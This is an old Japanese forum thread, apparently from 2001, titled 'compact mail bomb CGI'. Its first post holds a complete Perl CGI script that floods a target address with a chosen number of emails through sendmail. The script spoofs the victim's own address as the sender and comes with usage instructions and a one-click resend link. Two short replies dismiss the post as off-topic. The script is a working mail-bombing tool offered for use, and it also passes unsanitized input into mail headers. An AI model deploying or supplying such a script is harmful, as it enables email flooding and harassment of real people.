コンパクトメルボムCGI

[0001 な〜んちゃってハッカー 2001/05/27(日) 00:49 ID:8q2NINpg]

#!/usr/local/bin/perl

#初期設定
$sendmail = '/usr/sbin/sendmail -t -i';
$cgi = 'bom.cgi';

#入力されたデータを文字列に代入・コード変換する
@pairs = split(/&/,$ENV{'QUERY_STRING'});
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}

#送る回数だけループ
for($i=1;$i<=$FORM{'co'};$i++){
open(OUT,"| $sendmail") || exit;
print OUT "To: $FORM{'to'}\n";
print OUT "From: $FORM{'to'}\n";
close(OUT);
}

#送信終了後
print"Content-type: text/html\n\n";
print"<b>送信完了</b><br><br>\n";
print"送信先：$FORM{'to'}<br>\n";
print"送信数：$FORM{'co'}<br>\n";
print"<br><a href=\"$cgi?to=$FORM{'to'}&co=$FORM{'co'}\">再送信♪</a><br>\n";
exit;
------------------------------------------------------------------------------------------
【使い方】
bom.cgi?to=送り先&co=送信数

[0002 名無しさん＠お腹いっぱい。 2001/05/27(日) 00:52 ID:???]

########################### 終了 ###############################

[0003 名無しさん＠お腹いっぱい。 2001/05/27(日) 00:55 ID:???]

初級ネット板で厨房相手に思う存分楽しんでろ

-------------------板違い-------------------